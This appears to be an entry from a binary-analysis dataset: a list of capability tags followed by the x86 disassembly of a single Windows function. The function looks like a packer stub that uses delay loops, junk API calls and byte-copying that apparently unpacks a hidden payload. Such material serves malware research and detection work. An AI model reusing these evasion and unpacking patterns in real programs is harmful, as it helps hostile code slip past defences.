Function at 0x46a970
Capabilities:
Copy file
Manipulate console buffer
Move file
Query environment variable
Read pipe
Write pipe

Disassembly:
mov eax, 0x10d4
call fcn.00408040
mov eax, dword [0x46e008]
xor eax, esp
mov dword [esp + 0x10d0], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
mov ebp, 0xec58ac98
or ebx, 0xffffffff
lea esp, [esp]
cmp esi, 0x503
jne 0x46a9b7
mov eax, dword [0x46f430]
add eax, 0x9e49
mov dword [0x2b6deb4], eax
cmp dword [0x2b6deb4], 0xbcf
jne 0x46a9d1
call edi
mov dword [0x46ff28], ebp
mov dword [0x46ff2c], ebx
inc esi
cmp esi, 0x114d704
jl 0x46a9a0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
xor esi, esi
cmp esi, 0x56051f
jne 0x46a9f6
mov ecx, dword [0x46efd8]
mov dword [0x2b6dfe4], ecx
cmp dword [0x2b6deb4], 0x3c
jne 0x46aa03
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x46a9e2
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea ebx, [ebx]
push 0
push 0
call edi
call ebx
cmp esi, 0x24b33
jg 0x46aa39
inc esi
cmp esi, 0xeae9f
jl 0x46aa20
mov eax, dword [0x2b6deb4]
cmp eax, 0x2a
jne 0x46aaa4
xor esi, esi
push esi
push esi
push esi
push esi
push esi
push esi
mov dword [0x2b6dea8], esi
mov dword [0x2b6deac], esi
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push esi
push esi
call fcn.0040109d
push esi
call fcn.0040112c
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040109d
push esi
call fcn.00408bf4
push esi
push esi
call fcn.0040109d
push esi
push esi
push esi
push esi
call fcn.00401581
push esi
call fcn.0040133e
add esp, 0x38
push esi
call fcn.00401871
cmp eax, 0x7c
jne 0x46ab7a
xor esi, esi
push esi
push esi
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x2e
lea eax, [esp + 0x20]
push esi
push eax
mov dword [esp + 0x24], esi
call fcn.00406030
add esp, 0xc
push esi
lea ecx, [esp + 0x1c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push str.sekenekopucelokobuca
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push esi
lea ecx, [esp + 0xe4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
lea edx, [esp + 0x8e4]
push edx
push esi
push str.moputitahikojuzalano
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
cmp dword [0x2b6deb4], 0x2d
jne 0x46ab6b
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push esi
call fcn.004011f6
push esi
call fcn.0040120c
add esp, 8
call fcn.0046a5a0
mov ecx, dword [0x2b6deb4]
xor eax, eax
test ecx, ecx
jbe 0x46abbd
mov edi, dword [0x2b6dfe4]
mov esi, dword [0x2b6dcfc]
mov ebp, 0x17bc
lea esp, [esp]
mov dl, byte [edi + eax + 0x9e49]
mov byte [esi + eax], dl
cmp ecx, 0x8d
jne 0x46abb8
mov dword [0x2b6dd00], ebp
inc eax
cmp eax, ecx
jb 0x46aba0
call fcn.0046a710
call fcn.0046a5d0
call fcn.0046a910
mov edi, dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
cmp dword [0x2b6deb4], 0x41
jne 0x46abf3
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd606b
jne 0x46ac00
call fcn.0046a5c0
cmp dword [0x2b6deb4], 0xc
jne 0x46ac16
lea eax, [esp + 0x14]
push eax
call ebp
call dword [sym.imp.KERNEL32.dll_GetACP]
inc esi
cmp esi, 0x24e87d
jl 0x46abe0
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
nop
cmp dword [0x2b6deb4], 0x7c4
mov dword [0x2b6dd04], edi
jne 0x46ac5f
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
mov word [esp + 0x14], cx
mov word [esp + 0x16], dx
mov ecx, dword [esp + 0x14]
push ecx
push edx
push edx
push edx
call esi
sub ebx, 1
jne 0x46ac30
mov ecx, dword [esp + 0x20]
xor eax, eax
lea ebx, [ebx]
cmp eax, 0x408e
jle 0x46ac7f
cmp ecx, 0xf5bed7
jne 0x46ac87
inc eax
cmp eax, 0x687ed2
jl 0x46ac70
mov ecx, dword [esp + 0x10e0]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401000
add esp, 0x10d4
ret